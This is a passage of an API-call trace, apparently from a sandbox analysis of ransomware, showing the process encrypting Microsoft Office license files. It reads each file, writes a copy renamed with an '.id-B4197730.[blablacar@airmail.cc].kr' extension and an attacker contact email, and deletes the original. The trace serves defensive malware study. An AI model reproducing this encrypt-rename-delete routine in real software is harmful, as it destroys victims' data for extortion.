Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.742] lstrlenW (lpString=".dbf") returned 4 [0214.743] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.743] lstrlenW (lpString=".1cd") returned 4 [0214.743] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.743] lstrlenW (lpString=".jpg") returned 4 [0214.743] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.743] lstrlenW (lpString=".doc") returned 4 [0214.743] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.743] lstrlenW (lpString=".docx") returned 5 [0214.743] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.743] lstrlenW (lpString=".pdf") returned 4 [0214.743] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.743] lstrlenW (lpString=".xls") returned 4 [0214.743] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.743] lstrlenW (lpString=".xlsx") returned 5 [0214.743] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.743] lstrlenW (lpString=".ppt") returned 4 [0214.743] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.743] lstrlenW (lpString=".zip") returned 4 [0214.743] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.743] lstrlenW (lpString=".rar") returned 4 [0214.743] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.743] lstrlenW (lpString=".bz2") returned 4 [0214.743] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.743] lstrlenW (lpString=".7z") returned 3 [0214.743] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.743] lstrlenW (lpString=".dbf") returned 4 [0214.744] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.744] lstrlenW (lpString=".1cd") returned 4 [0214.744] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms") returned 81 [0214.744] lstrlenW (lpString=".jpg") returned 4 [0214.744] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.744] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.744] lstrlenW (lpString="ProfessionalR_Retail-ul-oob.xrm-ms") returned 34 [0214.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.745] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11609) returned 1 [0214.745] CloseHandle (hObject=0x568) returned 1 [0214.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-oob.xrm-ms")) returned 0x220 [0214.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.745] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.745] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0214.746] GetLastError () returned 0x0 [0214.746] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d59, lpOverlapped=0x0) returned 1 [0214.969] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0214.970] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.970] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x118, lpOverlapped=0x0) returned 1 [0214.970] SetEndOfFile (hFile=0x564) returned 1 [0214.970] CloseHandle (hObject=0x564) returned 1 [0214.970] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.970] SetEndOfFile (hFile=0x568) returned 1 [0214.973] CloseHandle (hObject=0x568) returned 1 [0214.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-oob.xrm-ms")) returned 1 [0214.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.974] lstrlenW (lpString=".doc") returned 4 [0214.974] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.974] lstrlenW (lpString=".docx") returned 5 [0214.974] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.974] lstrlenW (lpString=".pdf") returned 4 [0214.974] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.974] lstrlenW (lpString=".xls") returned 4 [0214.974] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.974] lstrlenW (lpString=".xlsx") returned 5 [0214.974] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.974] lstrlenW (lpString=".ppt") returned 4 [0214.974] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.974] lstrlenW (lpString=".zip") returned 4 [0214.974] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.975] lstrlenW (lpString=".rar") returned 4 [0214.975] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.975] lstrlenW (lpString=".bz2") returned 4 [0214.975] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.975] lstrlenW (lpString=".7z") returned 3 [0214.975] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.975] lstrlenW (lpString=".dbf") returned 4 [0214.975] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.975] lstrlenW (lpString=".1cd") returned 4 [0214.975] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.975] lstrlenW (lpString=".jpg") returned 4 [0214.975] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.975] lstrlenW (lpString=".doc") returned 4 [0214.975] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.975] lstrlenW (lpString=".docx") returned 5 [0214.975] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.975] lstrlenW (lpString=".pdf") returned 4 [0214.975] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.975] lstrlenW (lpString=".xls") returned 4 [0214.975] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.975] lstrlenW (lpString=".xlsx") returned 5 [0214.975] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.975] lstrlenW (lpString=".ppt") returned 4 [0214.975] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.975] lstrlenW (lpString=".zip") returned 4 [0214.976] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.976] lstrlenW (lpString=".rar") returned 4 [0214.976] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.976] lstrlenW (lpString=".bz2") returned 4 [0214.976] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.976] lstrlenW (lpString=".7z") returned 3 [0214.976] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.976] lstrlenW (lpString=".dbf") returned 4 [0214.976] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.976] lstrlenW (lpString=".1cd") returned 4 [0214.976] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms") returned 84 [0214.976] lstrlenW (lpString=".jpg") returned 4 [0214.976] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.976] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.976] lstrlenW (lpString="ProjectProCO365R_SubTest-ppd.xrm-ms") returned 35 [0214.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.977] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20918) returned 1 [0214.977] CloseHandle (hObject=0x568) returned 1 [0214.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ppd.xrm-ms")) returned 0x220 [0214.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.977] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.977] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0214.978] GetLastError () returned 0x0 [0214.978] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x51b6, lpOverlapped=0x0) returned 1 [0214.981] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x51c0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x51c0, lpOverlapped=0x0) returned 1 [0214.982] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.982] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11a, lpOverlapped=0x0) returned 1 [0214.982] SetEndOfFile (hFile=0x564) returned 1 [0214.983] CloseHandle (hObject=0x564) returned 1 [0214.983] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.983] SetEndOfFile (hFile=0x568) returned 1 [0214.987] CloseHandle (hObject=0x568) returned 1 [0214.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ppd.xrm-ms")) returned 1 [0214.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.988] lstrlenW (lpString=".doc") returned 4 [0214.988] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.988] lstrlenW (lpString=".docx") returned 5 [0214.988] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.988] lstrlenW (lpString=".pdf") returned 4 [0214.988] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.988] lstrlenW (lpString=".xls") returned 4 [0214.988] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.988] lstrlenW (lpString=".xlsx") returned 5 [0214.988] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.988] lstrlenW (lpString=".ppt") returned 4 [0214.988] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.988] lstrlenW (lpString=".zip") returned 4 [0214.989] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.989] lstrlenW (lpString=".rar") returned 4 [0214.989] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.989] lstrlenW (lpString=".bz2") returned 4 [0214.989] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.989] lstrlenW (lpString=".7z") returned 3 [0214.989] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.989] lstrlenW (lpString=".dbf") returned 4 [0214.989] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.989] lstrlenW (lpString=".1cd") returned 4 [0214.989] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.989] lstrlenW (lpString=".jpg") returned 4 [0214.989] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.989] lstrlenW (lpString=".doc") returned 4 [0214.989] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.989] lstrlenW (lpString=".docx") returned 5 [0214.989] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.989] lstrlenW (lpString=".pdf") returned 4 [0214.989] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.989] lstrlenW (lpString=".xls") returned 4 [0214.989] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.989] lstrlenW (lpString=".xlsx") returned 5 [0214.989] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.989] lstrlenW (lpString=".ppt") returned 4 [0214.989] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.990] lstrlenW (lpString=".zip") returned 4 [0214.990] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.990] lstrlenW (lpString=".rar") returned 4 [0214.990] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.990] lstrlenW (lpString=".bz2") returned 4 [0214.990] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.990] lstrlenW (lpString=".7z") returned 3 [0214.990] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.990] lstrlenW (lpString=".dbf") returned 4 [0214.990] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.990] lstrlenW (lpString=".1cd") returned 4 [0214.990] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0214.990] lstrlenW (lpString=".jpg") returned 4 [0214.990] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.990] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.990] lstrlenW (lpString="ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 38 [0214.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.991] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11633) returned 1 [0214.991] CloseHandle (hObject=0x568) returned 1 [0214.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0214.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.992] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.992] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0214.993] GetLastError () returned 0x0 [0214.993] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d71, lpOverlapped=0x0) returned 1 [0214.995] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0214.996] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.996] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x120, lpOverlapped=0x0) returned 1 [0214.997] SetEndOfFile (hFile=0x564) returned 1 [0214.997] CloseHandle (hObject=0x564) returned 1 [0214.997] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.997] SetEndOfFile (hFile=0x568) returned 1 [0215.000] CloseHandle (hObject=0x568) returned 1 [0215.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ul-oob.xrm-ms")) returned 1 [0215.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0215.001] lstrlenW (lpString=".doc") returned 4 [0215.001] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.001] lstrlenW (lpString=".docx") returned 5 [0215.001] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.001] lstrlenW (lpString=".pdf") returned 4 [0215.001] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.001] lstrlenW (lpString=".xls") returned 4 [0215.001] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.001] lstrlenW (lpString=".xlsx") returned 5 [0215.001] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.001] lstrlenW (lpString=".ppt") returned 4 [0215.001] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.001] lstrlenW 